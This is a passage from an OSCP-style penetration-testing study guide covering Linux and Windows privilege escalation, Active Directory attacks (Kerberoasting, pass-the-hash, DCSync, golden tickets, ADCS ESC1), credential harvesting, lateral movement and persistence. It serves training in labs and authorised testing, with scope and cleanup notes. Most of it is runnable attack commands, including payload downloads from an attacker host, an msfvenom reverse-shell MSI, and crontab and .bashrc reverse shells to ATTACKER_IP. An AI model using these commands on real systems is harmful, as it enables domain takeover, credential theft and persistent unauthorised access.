# (root) NOPASSWD: /usr/bin/vim
sudo vim -c '!/bin/bash'
id    # should show root
```

Confirm root

```
id
cat /root/root.txt    # or proof.txt on PG
```

Windows chain

Land as low-priv shell

Via exploit, web shell, or provided credentials → cmd or PowerShell session

Enumerate

```
whoami /all
systeminfo
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"
```

Transfer and run WinPEAS

```
certutil -urlcache -f http://LHOST:8080/winpeas.exe C:\Temp\winpeas.exe
C:\Temp\winpeas.exe
```

Exploit the finding

Example vector: AlwaysInstallElevated

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both = 0x1
```

```
# Attacker: generate MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=X LPORT=4444 -f msi > evil.msi
# Catch with: nc -lvnp 4444
```

```
# Target
certutil -urlcache -f http://LHOST:8080/evil.msi C:\Temp\evil.msi
msiexec /quiet /qn /i C:\Temp\evil.msi
```

Confirm SYSTEM

```
whoami    # should show NT AUTHORITY\SYSTEM
type C:\Users\Administrator\Desktop\proof.txt
```

Finding documentation template

Write this for each box:

Vulnerability:	[e.g. AlwaysInstallElevated registry misconfiguration]
CVE/Reference:	[HackTricks link or CWE]
Evidence:	[paste the registry query output]
Access gained:	[NT AUTHORITY\SYSTEM]
Impact:	Full system compromise, credential access, lateral movement
Reproduction:	[numbered steps from initial shell to SYSTEM]
Remediation:	[Disable AlwaysInstallElevated via GPO; set both keys to 0]

Self-check

- Can you reproduce each chain in under 30 minutes without notes?
- Can you identify the misconfiguration type without running an automated tool?
- Can you write the finding in a format a client would understand?
- Could you explain the root cause and remediation clearly?

If any answer is no — redo the box, slower, with notes.

Phase — 13-active-directory-attacks

Directory: 13-active-directory-attacks/

Source: 13-active-directory-attacks/01-resources-and-lab-setup.md

AD Attacks: Resources and Lab Setup

Active Directory is the centerpiece of OSCP+ enterprise scenarios. Stand up a real lab before touching any other file in this phase.

Resources

- HTB Academy: [Active Directory Enumeration & Attacks](#)
- TCM Security: [Practical Ethical Hacking](#) — AD sections
- TryHackMe: [Active Directory Basics](#) + [Attacktive Directory](#)
- VulnLab: [vulnlab.com](#) — realistic AD chains, closest to exam feel
- GOAD (Game of Active Directory): [github.com/Orange-Cyberdefense/GOAD](#) — free, local, multi-domain

Lab Options

Option A — GOAD (free, local)

```
git clone https://github.com/Orange-Cyberdefense/GOAD
cd GOAD
# Requires Vagrant + VirtualBox or VMware
vagrant up
```

Option B — HTB Pro Labs - Offshore: large enterprise AD sim - RastaLabs: red team focused, harder

Tools to Install

```
# BloodHound + Neo4j
sudo apt install bloodhound neo4j -y
sudo neo4j start

# NetExec (CrackMapExec successor)
pip3 install netexec

# Impacket suite
pip3 install impacket

# Kerbrute
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64 && mv kerbrute_linux_amd64 /usr/local/bin/kerbrute

# BloodHound Python ingestor
pip3 install bloodhound

# Certipy (ADCS attacks)
pip3 install certipy-ad
```

Rubeus and SharpHound: grab from [github.com/GhostPack](#) or a pre-compiled repo.

Verification

```
nxc --version
impacket-GetUserSPNs --help
bloodhound-python --help
certipy --help
```

Ethical scope: All techniques in this phase apply only to labs you own or engagements with explicit written authorization.

Source: `13-active-directory-attacks/02-ad-enumeration-with-bloodhound.md`

AD Enumeration with BloodHound

BloodHound maps AD relationships and attack paths visually. Always run it first — it tells you exactly where to aim.

Data Collection

From Linux (no domain-joined machine needed):

```
bloodhound-python -u user -p 'Password123' -d domain.local -c All -ns DC_IP
# Outputs JSON files in current directory
```

From Windows (domain-joined box, SharpHound):

```
.\SharpHound.exe -c All
# Produces a ZIP — exfil and import to BloodHound GUI
```

With just a hash (PtH collection):

```
bloodhound-python -u user --hashes :NTLM_HASH -d domain.local -c All -ns DC_IP
```

Import and Analyze

```
# Start services
sudo neo4j start
bloodhound &
# Default creds: neo4j / neo4j (change on first login)
```

Drag-and-drop the JSON files (or ZIP) into the BloodHound GUI upload area.

Key Queries to Run Every Time

In BloodHound GUI → Analysis tab:

1. **Find all Domain Admins** — see who already has DA
2. **Shortest Paths to Domain Admins** — your primary attack path
3. **Shortest Path to DA from Owned** — mark your current user as Owned first
4. **Find AS-REP Roastable Users** — quick wins
5. **Find Kerberoastable Users** — service accounts with SPNs
6. **Find Computers with Unconstrained Delegation** — high-value targets

Mark Nodes as Owned

Right-click any node → Mark as Owned. Do this for every account/machine you compromise. Re-run “Shortest Path from Owned” after each escalation.

Custom Cypher Queries

```
-- All users with SPN (Kerberoastable)
MATCH (u:User {hasspn:true}) RETURN u.name

-- Users with AdminTo edges
MATCH (u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name
```

Add custom queries in BloodHound GUI → Queries → + icon.

Practice target: GOAD lab — run BloodHound, find all paths to ESSOS.LOCAL Domain Admin.

Source: `13-active-directory-attacks/03-powerview-and-ldap-enumeration.md`

PowerView and LDAP Enumeration

PowerView gives granular manual enumeration that BloodHound sometimes misses. Use both.

PowerView (Windows)

```
Import-Module .\PowerView.ps1
# Or bypass AMSI first:
# Set-MpPreference -DisableRealtimeMonitoring $true (needs admin)
```

Domain basics:

```
Get-Domain
Get-DomainController
Get-DomainPolicy
(Get-DomainPolicy)."system access" # Password policy
```

Users and groups:

```
Get-DomainUser
Get-DomainUser -Identity jsmith
Get-DomainUser -Properties samaccountname,description # Look for passwords in description
Get-DomainGroup
Get-DomainGroupMember "Domain Admins"
Get-DomainGroupMember "Enterprise Admins"
```

Computers:

```
Get-DomainComputer
Get-DomainComputer -Properties dnshostname,operatingsystem
```

Shares and GPOs:

```
Find-DomainShare -CheckShareAccess # Only shows accessible shares
Get-DomainGPO
Get-DomainGPOLocalGroup # GPOs that add users to local admin
```

Trusts:

```
Get-DomainTrust
Get-ForestTrust
```

LDAP Enumeration from Linux

```
# Anonymous LDAP query
ldapsearch -x -H ldap://DC_IP -b "dc=domain,dc=local"

# Authenticated
ldapsearch -x -H ldap://DC_IP -b "dc=domain,dc=local" \
  -D "user@domain.local" -w 'Password123'

# Get all users
ldapsearch -x -H ldap://DC_IP -b "dc=domain,dc=local" \
  "(objectClass=user)" sAMAccountName description
```

NetExec Enumeration

```
# Users
nxc smb DC_IP -u user -p pass --users

# Groups
nxc smb DC_IP -u user -p pass --groups

# Password policy
nxc smb DC_IP -u user -p pass --pass-pol

# Logged-on users
nxc smb TARGET_IP -u user -p pass --loggedon-users

# Check local admin access across subnet
nxc smb 192.168.1.0/24 -u user -p pass
```

Tip: `Get-DomainUser -Properties description` frequently surfaces passwords left in AD description fields by sysadmins. Always check it.

Source: `13-active-directory-attacks/04-kerberoasting.md`

Kerberoasting

Any domain user can request a TGS ticket for any service account with an SPN. The ticket is encrypted with the service account's password hash — crack it offline.

Enumerate SPNs First

```
# From Linux — list SPNs without requesting tickets
GetUserSPNs.py domain.local/user:pass -dc-ip DC_IP

# Output shows service accounts and their SPNs
```

```
# From Windows (PowerView)
Get-DomainUser -SPN
setspn -T domain.local -Q */*
```

Request Tickets and Extract Hashes

From Linux (Impacket):

```
GetUserSPNs.py domain.local/user:pass -dc-ip DC_IP -request
# Outputs $krb5tgs$23$... hashes directly
GetUserSPNs.py domain.local/user:pass -dc-ip DC_IP -request -outputfile hashes.kerberoast
```

From Windows (Rubeus):

```
.\Rubeus.exe kerberoast /outfile:hashes.txt  
.\Rubeus.exe kerberoast /user:svcSQL /outfile:svcSQL.txt # Target specific account
```

From Windows (native PowerShell):

```
Add-Type -AssemblyName System.IdentityModel  
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/  
DC01.domain.local"
```

Crack with Hashcat

```
# RC4 (type 23) — most common  
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt  
  
# AES256 (type 19700) — newer environments  
hashcat -m 19700 hashes.kerberoast /usr/share/wordlists/rockyou.txt  
  
# With rules  
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/  
best64.rule
```

What to Do with Cracked Passwords

Service accounts often have excessive privileges. Check immediately:

```
nxc smb DC_IP -u svcSQL -p 'CrackedPassword' --local-auth  
nxc smb 192.168.1.0/24 -u svcSQL -p 'CrackedPassword'
```

Defense note: Strong random passwords (25+ chars) for service accounts, AES-only ticket encryption, regular SPN audits. Managed Service Accounts (gMSA) eliminate the risk entirely.

Practice: HTB Academy Kerberoasting module + GOAD lab (several Kerberoastable accounts pre-configured).

Source: `13-active-directory-attacks/05-as-rep-roasting.md`

AS-REP Roasting

Accounts with “Do not require Kerberos preauthentication” enabled respond to AS-REQ without needing a password. The AS-REP contains encrypted data you can crack offline.

Enumerate Vulnerable Accounts

BloodHound: Run “Find AS-REP Roastable Users” query — shows accounts immediately.

From Linux (without creds — if you have a username list):

```
GetNPUsers.py domain.local/ -dc-ip DC_IP -usersfile users.txt -format hashcat -outputfile  
asrep_hashes.txt  
# No password needed — just usernames
```

From Linux (with creds — enumerates automatically):

```
GetNPUsers.py domain.local/user:pass -dc-ip DC_IP -request -format hashcat -outputfile  
asrep_hashes.txt
```

From Windows (Rubeus):

```
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
.\Rubeus.exe asreproast /user:vulnerable_user /format:hashcat
```

From Windows (PowerView — enumerate only):

```
Get-DomainUser -PreauthNotRequired
```

Build Username List for Unauthenticated Attack

```
# Kerbrute username enumeration (no creds needed)
kerbrute userenum -d domain.local --dc DC_IP /usr/share/wordlists/usernames.txt
# Valid usernames can then be fed to GetNPUsers
```

Crack the Hashes

```
# AS-REP hash type is 18200
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# With rules
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/
best64.rule

# John
john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

After Cracking

```
# Verify and test access
nxc smb DC_IP -u cracked_user -p 'CrackedPass'
nxc smb 192.168.1.0/24 -u cracked_user -p 'CrackedPass'
bloodhound-python -u cracked_user -p 'CrackedPass' -d domain.local -c All -ns DC_IP
```

Defense: Require Kerberos preauthentication for all accounts. Audit quarterly with BloodHound “Find AS-REP Roastable Users” query.

Key difference from Kerberoasting: AS-REP Roasting needs no existing valid credentials — just a username list. High value in black-box scenarios.

Source: [13-active-directory-attacks/06-pass-the-hash-and-pass-the-ticket.md](#)

Pass-the-Hash and Pass-the-Ticket

Two core lateral movement primitives. PtH uses NTLM hashes; PtT injects Kerberos tickets. Neither requires knowing the plaintext password.

Pass-the-Hash (PtH)

NTLM auth accepts the hash directly — no cracking needed.

NetExec — check access:

```
nxc smb TARGET_IP -u administrator -H :NTLM_HASH
nxc smb 192.168.1.0/24 -u administrator -H :NTLM_HASH # Spray subnet
nxc winrm TARGET_IP -u administrator -H :NTLM_HASH
```

Impacket tools:

```
# Interactive shell (like PsExec)
psexec.py domain.local/admin@TARGET -hashes :NTLM_HASH

# WMI execution (less noisy than psexec)
wmiexec.py domain.local/admin@TARGET -hashes :NTLM_HASH

# SMB exec
smbexec.py domain.local/admin@TARGET -hashes :NTLM_HASH
```

Evil-WinRM:

```
evil-winrm -i TARGET_IP -u administrator -H NTLM_HASH
```

Hash format: Always `:NTLM_HASH` (LM part is empty). Full format is `LM:NT` — use `aad3b435b51404eeaad3b435b51404ee:NTLM_HASH`.

Pass-the-Ticket (PtT)

Inject a Kerberos ticket into your session to impersonate a user.

Dump tickets on Windows (Rubeus):

```
.\Rubeus.exe dump /nowrap          # Dump all tickets in memory
.\Rubeus.exe tgtdeleg              # Get usable TGT via delegation trick
```

Inject ticket (Rubeus):

```
.\Rubeus.exe ptt /ticket:base64_encoded_ticket
klist      # Verify ticket is loaded
```

Inject ticket (Mimikatz):

```
kerberos::ptt C:\path\to\ticket.kirbi
kerberos::list      # Verify
```

From Linux — ccache files:

```
export KRB5CCNAME=/tmp/ticket.ccache
klist
psexec.py -k -no-pass domain.local/admin@TARGET
```

Obtain Hashes to Use

```
# From LSASS dump (Impacket, needs admin)
secretsdump.py domain/admin:pass@TARGET

# From local SAM (local admin)
secretsdump.py -sam sam.bak -system system.bak LOCAL
```

Practice: VulnLab or HTB Pro Labs (Offshore) — multi-hop chains where PtH is the primary pivot method.

Source: `13-active-directory-attacks/07-dcsync-and-credential-access.md`

DCSync and Credential Access

DCSync simulates a replication request to the DC — it dumps all password hashes without touching LSASS. Requires Domain Admin, or an account with Replicating Directory Changes rights.

DCSync with Impacket (from Linux)

```
# Dump all accounts
secretsdump.py domain.local/admin:pass@DC_IP

# Dump specific account
secretsdump.py domain.local/admin:pass@DC_IP -just-dc-user krbtgt
secretsdump.py domain.local/admin:pass@DC_IP -just-dc-user administrator

# With PtH
secretsdump.py domain.local/admin@DC_IP -hashes :NTLM_HASH
```

DCSync with Mimikatz (from Windows DA shell)

```
# Load Mimikatz
.\mimikatz.exe

# Dump single account
lsadump::dcsync /domain:domain.local /user:administrator
lsadump::dcsync /domain:domain.local /user:krbtgt

# Dump all hashes
lsadump::dcsync /domain:domain.local /all /csv
```

LSASS Credential Dumping (local machine)

```
# Mimikatz — dump cleartext and hashes from LSASS
privilege::debug
sekurlsa::logonpasswords

# Dump LSASS process (less AV-noisy, analyze offline)
.\procdump64.exe -ma lsass.exe lsass.dmp
# Transfer lsass.dmp to Linux, then:
# pypykatz lsa minidump lsass.dmp
```

Golden Ticket (Post-DCSync)

Once you have the `krbtgt` hash, you own the domain permanently:

```
# Get domain SID first
Get-DomainSID # PowerView

# Mimikatz golden ticket
kerberos::golden /user:FakeAdmin /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX /krbtgt:KRBtgt_NTLM_HASH \
/id:500 /groups:512 /ptt

# From Linux (Impacket)
ticketer.py -nthash KRBtgt_HASH -domain-sid S-1-5-21-XXX -domain domain.local FakeAdmin
export KRB5CCNAME=FakeAdmin.ccache
psexec.py -k -no-pass domain.local/FakeAdmin@DC_IP
```

Silver Ticket (Service-Specific)

Forge a TGS for a specific service using that service account's hash:

```
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-XXX -domain domain.local \
-spn cifs/server.domain.local FakeUser
```

Detection: Event ID 4662 (object accessed with replication rights), Event ID 4769 (unusual TGS requests). DCSync from non-DC IPs is highly anomalous.

Source: 13-active-directory-attacks/08-adcs-abuse-esc1.md

ADCS Abuse — ESC1

Active Directory Certificate Services misconfigurations frequently allow privilege escalation to Domain Admin. ESC1 is the most common and direct path.

What is ESC1

A certificate template is vulnerable to ESC1 when it: 1. Allows low-priv users to enroll 2. Allows the requester to specify a Subject Alternative Name (SAN) 3. Has “Client Authentication” as an EKU

You can request a cert AS any user (e.g., Administrator) by specifying their UPN in the SAN.

Enumerate ADCS with Certipy

```
# Find vulnerable templates
certipy find -u user@domain.local -p 'Password123' -dc-ip DC_IP -stdout

# Save to JSON/text for review
certipy find -u user@domain.local -p 'Password123' -dc-ip DC_IP -text -output adcs_enum

# Look for [!] ESC1 in output
```

From Windows (Certify):

```
.\Certify.exe find /vulnerable
```

Exploit ESC1

```
# Step 1: Request certificate as administrator
certipy req -u user@domain.local -p 'Password123' \
  -ca "DOMAIN-CA" \
  -template "VulnerableTemplateName" \
  -upn administrator@domain.local \
  -dc-ip DC_IP

# Output: administrator.pfx
```

```
# Step 2: Authenticate with the certificate → get TGT + NTLM hash
certipy auth -pfx administrator.pfx -dc-ip DC_IP

# Output: TGT saved to ccache + NTLM hash printed
```

```
# Step 3: Use the hash
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC_IP
# OR
nxc smb DC_IP -u administrator -H :NTLM_HASH_FROM_CERTIPY
```

Other ESC Variants (Know They Exist)

ESC	Description
ESC2	Any Purpose EKU or no EKU
ESC3	Enrollment Agent abuse
ESC4	Template write access
ESC6	EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA
ESC8	NTLM relay to AD CS HTTP endpoint

Reference

SpecterOps “Certified Pre-Owned” whitepaper: posts.specterops.io/certified-pre-owned

Practice: VulnLab has several AD CS labs. GOAD includes AD CS if configured. HTB Academy “AD CS Attacks” module covers ESC1–ESC8.

Scope note: AD CS exploitation is in-scope for OSCP+ exam environments where AD CS is present.

Source: `13-active-directory-attacks/09-integration-full-ad-attack-chain.md`

Integration: Full AD Attack Chain

Combine everything into one end-to-end exercise. Do this on GOAD or VulnLab before the exam.

The Chain

Initial Creds → Enumerate → Find Weakness → Escalate → DA → Persist

Phase 1: Enumerate Everything

```
# BloodHound – full picture
bloodhound-python -u user -p pass -d domain.local -c All -ns DC_IP

# LDAP users – check description fields for passwords
ldapsearch -x -H ldap://DC_IP -b "dc=domain,dc=local" \
  -D "user@domain.local" -w pass "(objectClass=user)" sAMAccountName description

# NetExec – verify access scope
nxc smb DC_IP -u user -p pass --users
nxc smb DC_IP -u user -p pass --pass-pol
```

Deliverable: Identify 2–3 attack paths in BloodHound before proceeding.

Phase 2: Exploit Low-Hanging Fruit

```
# AS-REP Roast (no special rights needed)
GetNPUsers.py domain.local/user:pass -dc-ip DC_IP -request -format hashcat -outputfile asrep.txt

# Kerberoast (any domain user)
GetUserSPNs.py domain.local/user:pass -dc-ip DC_IP -request -outputfile kerb.txt

# Crack both
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
```

Phase 3: Lateral Movement

```
# Test cracked creds across all machines
nxc smb 192.168.1.0/24 -u cracked_user -p 'CrackedPass'

# Get shell on accessible machine
evil-winrm -i TARGET_IP -u cracked_user -p 'CrackedPass'

# Re-enumerate from new position
bloodhound-python -u cracked_user -p 'CrackedPass' -d domain.local -c All -ns DC_IP
```

Phase 4: Escalate to Domain Admin

Choose your path based on BloodHound output:

```
# Path A: Pth with high-priv hash found locally
secretsdump.py domain.local/cracked_user:pass@MACHINE_IP
nxc smb DC_IP -u administrator -H :FOUND_HASH

# Path B: ADCS ESC1
certipy find -u cracked_user@domain.local -p pass -dc-ip DC_IP -stdout
certipy req -u cracked_user@domain.local -p pass -ca "CA" -template "VulnTemplate" -upn administrator@
domain.local

# Path C: DCSync (if already DA)
secretsdump.py domain.local/admin:pass@DC_IP
```

Phase 5: Persistence (Lab Only)

```
# Dump krbtgt for golden ticket
secretsdump.py domain.local/admin:pass@DC_IP -just-dc-user krbtgt

# Create golden ticket
ticketer.py -nthash KRBtgt_HASH -domain-sid S-1-5-21-XXX -domain domain.local GoldUser
```

Document as Attack Narrative

Write each step as: - **Position:** where you are - **Action:** exact command run - **Result:** what you got - **Next step:** why you chose it

Time goal: Complete the full chain in under 4 hours on GOAD. If it takes longer, identify which phase slowed you down and drill that specific technique.

Phase — 14-post-exploitation-and-lateral-movement

Directory: 14-post-exploitation-and-lateral-movement/

Source: 14-post-exploitation-and-lateral-movement/01-resources-and-scope.md

Post-Exploitation: Resources and Scope

Post-exploitation is what happens after you have a shell. The goal is to understand your position, find the next target, and move deliberately.

Resources

- TCM Security: [Practical Ethical Hacking](#) — post-exploitation sections
- HTB Academy: [Post-Exploitation Basics](#) module
- MITRE ATT&CK Framework: attack.mitre.org — use as a reference map for technique IDs
- HTB Pro Labs: [Offshore](#) — most realistic multi-hop post-exploitation environment
- VulnLab chains: vulnlab.com — purpose-built lateral movement scenarios

MITRE ATT&CK Tactics Covered in This Phase

Tactic	ID	Relevance
Discovery	TA0007	Local enum post-access
Credential Access	TA0006	Harvesting creds
Lateral Movement	TA0008	Moving between hosts
Persistence	TA0003	Maintaining access
Collection	TA0009	Gathering data

Ethical Hard Lines

- Only perform post-exploitation in labs you own or under explicit written authorization in a pentest engagement
- Persistence mechanisms must be in scope AND documented for cleanup
- Do not touch production data — stop, document, report
- Never install backdoors on client systems without explicit scope agreement and a cleanup plan
- OSCP exam: post-exploitation is expected but must stay within declared exam network scope

What “Post-Exploitation” Means in Practice

After initial access you answer four questions: 1. Where am I? (host, network, domain context) 2. What can I reach? (network topology, services) 3. What credentials exist here? (caches, files, memory) 4. Where can those credentials take me? (lateral movement targets)

The answers drive the next move. Everything else is noise.

Source: 14-post-exploitation-and-lateral-movement/02-local-enumeration-post-initial-access.md

Local Enumeration After Initial Access

First 60 seconds on a new shell — run this checklist before anything else. Know where you are before you move.

Linux — Immediate Checks

```
# Who and where
id
whoami
hostname
uname -a
cat /etc/os-release

# Network context
ip a
ip route
cat /etc/hosts
ss -tulpn          # Listening services (internal ports you can't see from outside)
arp -a            # Nearby hosts already in ARP cache
```

```
# What's running
ps aux
ps aux | grep -i "root"
systemctl list-units --type=service --state=running

# History — often gold
history
cat ~/.bash_history
cat ~/.zsh_history
cat /root/.bash_history 2>/dev/null
```

```
# Find credentials in files
find / -name "*.conf" 2>/dev/null | head -30
find / -name "*password*" 2>/dev/null | grep -v proc | head -20
find / -name "*.env" 2>/dev/null | head -10
find / -name "id_rsa" 2>/dev/null
grep -r "password" /etc/*.conf 2>/dev/null
```

```
# Interesting files
ls -la /home/
ls -la ~/
ls -la /tmp/ /var/tmp/
cat /etc/crontab
ls -la /etc/cron.*
```

Windows — Immediate Checks

```
whoami /all
hostname
ipconfig /all
route print
net use
cmdkey /list
```

```
# Users and sessions
net user
net localgroup administrators
query user           # Who's logged in right now
Get-LocalUser

# Files of interest
dir C:\Users
dir C:\Users\*\Desktop\*
dir C:\Users\*\Documents\*
type C:\Users\*\Desktop\*.txt 2>nul

# Running processes and services
tasklist /v
Get-Process
Get-Service | Where-Object {$_.Status -eq "Running"}
```

```
# Environment and config files
set                # Environment variables — check for passwords/tokens
dir /s /b C:\*.config 2>nul | findstr -v "Windows"
dir /s /b C:\ *pass* 2>nul
```

Automate with LinPEAS / WinPEAS

```
# Linux
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or transfer and run: ./linpeas.sh | tee linpeas_output.txt

# Windows
.\winPEAS.exe | Out-File winpeas_output.txt
```

Rule: run manual checks first (30 seconds), then PEAS for depth. Don't skip manual — it builds pattern recognition for the exam.

Source: [14-post-exploitation-and-lateral-movement/03-credential-harvesting.md](#)

Credential Harvesting

Finding credentials post-access is often more valuable than privilege escalation exploits. One found password frequently unlocks multiple systems.

Linux Credential Sources

```
# Shadow file (requires root)
cat /etc/shadow
unshadow /etc/passwd /etc/shadow > combined.txt
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt # sha512crypt

# SSH private keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_ed25519" 2>/dev/null
find /home /root -name "*.pem" -o -name "*.key" 2>/dev/null

# Config files with embedded creds
grep -r "password" /var/www/ 2>/dev/null | grep -v ".bak"
grep -r "DB_PASS\|DB_PASSWORD\|SECRET_KEY" /var/www/ /opt/ /srv/ 2>/dev/null
find / -name "wp-config.php" -o -name ".env" -o -name "database.yml" 2>/dev/null

# Shell history
for user in $(ls /home); do cat /home/$user/.bash_history 2>/dev/null; done
cat /root/.bash_history 2>/dev/null

# Environment variables (running processes)
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i pass
```

Windows Credential Sources

```
# Credential Manager – saved network passwords
cmdkey /list

# Registry – stored credentials
reg query HKLM /f password /t REG_SZ /s 2>nul
reg query HKCU /f password /t REG_SZ /s 2>nul

# Common config file locations
type "C:\Program Files\*\*.conf" 2>nul
type "C:\inetpub\wwwroot\web.config" 2>nul
findstr /s /i "password" C:\*.xml C:\*.ini C:\*.txt 2>nul
```

```
# SAM/SYSTEM dump (needs SYSTEM or admin)
reg save HKLM\SAM C:\Temp\sam.bak
reg save HKLM\SYSTEM C:\Temp\system.bak
# Transfer to Linux then:
# secretsdump.py -sam sam.bak -system system.bak LOCAL
```

LSASS Credential Extraction

```
# Mimikatz (Windows, needs admin)
privilege::debug
sekurlsa::logonpasswords # Cleartext where possible + NTLM hashes
sekurlsa::wdigest # Cleartext passwords (Windows < 2012R2 or WDigest enabled)
lsadump::sam # SAM hashes
```

```
# LSASS minidump method (less AV-noisy)
# On Windows:
# procdump64.exe -ma lsass.exe lsass.dmp
# On Linux (analyze offline):
pypykatz lsa minidump lsass.dmp
```


File Transfer for Offline Analysis

```
# Impacket SMB server (Linux) – receive files from Windows target
impacket-smbserver share /tmp/loot -smb2support -username user -password pass
```

```
# On Windows target:
# copy C:\Temp\sam.bak \\ATTACKER_IP\share\
```

```
# Python HTTP server
python3 -m http.server 8080
# On target: curl http://ATTACKER_IP:8080/tool -o tool
```

Priority order: history files → config files → credential manager → SAM/LSASS. The first two are often fast wins with no AV risk.

Source: [14-post-exploitation-and-lateral-movement/04-lateral-movement-techniques.md](#)

Lateral Movement Techniques

Moving between systems using obtained credentials, hashes, or tickets. Always map the network before moving — know where you're going.

Network Recon Before Moving

```
# What can this host reach?
ip route
arp -a
cat /etc/hosts
ss -tulpn

# Quick internal ping sweep
for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "alive: 192.168.1.$i"; done
&

# NetExec subnet sweep (from Linux with creds)
nxc smb 192.168.1.0/24 -u user -p pass
nxc smb 192.168.1.0/24 -u user -p pass --local-auth # Local account
```

Windows-to-Windows (from Linux)

```
# PsExec – spawns service, noisier but reliable
psexec.py domain.local/user:pass@TARGET_IP

# WMIexec – no service install, less noisy
wmiexec.py domain.local/user:pass@TARGET_IP

# SMBexec – uses scheduled task, leaves less trace
smbexec.py domain.local/user:pass@TARGET_IP

# All three support Pth:
wmiexec.py domain.local/user@TARGET_IP -hashes :NTLM_HASH
```

WinRM / PowerShell Remoting

```
# evil-winrm (best interactive shell for WinRM)
evil-winrm -i TARGET_IP -u user -p 'Password'
evil-winrm -i TARGET_IP -u user -H NTLM_HASH

# Check WinRM port first
nxc winrm TARGET_IP -u user -p pass
```

RDP

```
xfreerdp /u:user /p:'Password' /v:TARGET_IP
xfreerdp /u:user /pth:NTLM_HASH /v:TARGET_IP # PtH over RDP (Restricted Admin mode)

# Check RDP access
nxc rdp TARGET_IP -u user -p pass
```

SSH Key Reuse (Linux Hosts)

```
# If you have an id_rsa from one host:
chmod 600 id_rsa
ssh -i id_rsa user@TARGET_IP

# Check authorized_keys on compromised host — same key may work elsewhere
cat ~/.ssh/authorized_keys
cat /home/*/ssh/authorized_keys 2>/dev/null
```

Spray Across Multiple Hosts

```
# Test one credential everywhere
nxc smb 192.168.1.0/24 -u user -p 'Password'
nxc smb 192.168.1.0/24 -u user -p 'Password' --local-auth

# List shares on accessible machines
nxc smb 192.168.1.0/24 -u user -p 'Password' --shares

# Execute command on all accessible hosts
nxc smb 192.168.1.0/24 -u user -p 'Password' -x "whoami"
```

MITRE References

- T1021.002 — SMB/Windows Admin Shares
- T1021.006 — Windows Remote Management
- T1021.001 — Remote Desktop Protocol
- T1021.004 — SSH

Key mental model: treat each new machine as a new initial access. Re-run local enumeration checklist on every new host.

Source: `14-post-exploitation-and-lateral-movement/05-persistence-mechanisms.md`

Persistence Mechanisms

Persistence keeps access alive across reboots and session terminations. In real engagements, every persistence mechanism must be scoped, documented, and cleaned up. In labs, practice installing and removing cleanly.

Linux Persistence

Backdoor SSH key (low noise, highly effective):

```
# Add attacker public key to target's authorized_keys
mkdir -p ~/.ssh
echo "ssh-rsa AAAA...attacker_pubkey..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Connect back silently
ssh -i attacker_id_rsa user@TARGET_IP
```

Crontab persistence:

```
# As current user
crontab -e
# Add: * * * * * /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# System-wide (needs root)
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" >> /etc/crontab
```

SUID backdoor (needs root):

```
cp /bin/bash /tmp/.hidden_bash
chmod +s /tmp/.hidden_bash
/tmp/.hidden_bash -p # Run as root from low-priv shell
```

Profile backdoor:

```
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> ~/.bashrc
```

Windows Persistence

Registry run key:

```
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateService" /t REG_SZ /d "C:\Temp\payload.exe" /f

# HKLM version persists for all users (needs admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateService" /t REG_SZ /d "C:\Temp\payload.exe" /f
```

Scheduled task:

```
schtasks /create /sc onlogon /tn "SystemUpdater" /tr "C:\Temp\payload.exe" /ru SYSTEM
schtasks /query /tn "SystemUpdater" # Verify
schtasks /delete /tn "SystemUpdater" /f # Cleanup
```

Startup folder:

```
# Per-user
Copy-Item payload.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\"
# All users (needs admin)
Copy-Item payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
```

Cleanup Discipline

After every lab exercise, remove what you added:

```
# Linux — remove SSH key
sed -i '/attacker_pubkey/d' ~/.ssh/authorized_keys
# Remove crontab entry
crontab -l | grep -v "4444" | crontab -

# Windows — remove scheduled task
schtasks /delete /tn "SystemUpdater" /f
# Remove registry key
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateService" /f
```

Engagement rule: Document every persistence mechanism with: location, type, time created, purpose, removal steps. Submit as part of your cleanup report.

Source: 14-post-exploitation-and-lateral-movement/06-data-gathering-and-network-mapping.md

Data Gathering and Internal Network Mapping

After initial access, map what's reachable. Internal networks often have services and hosts invisible from the outside. This intelligence drives every subsequent move.

Immediate Network Context

```
# Linux — network interfaces and routing
ip a
ip route
cat /etc/hosts
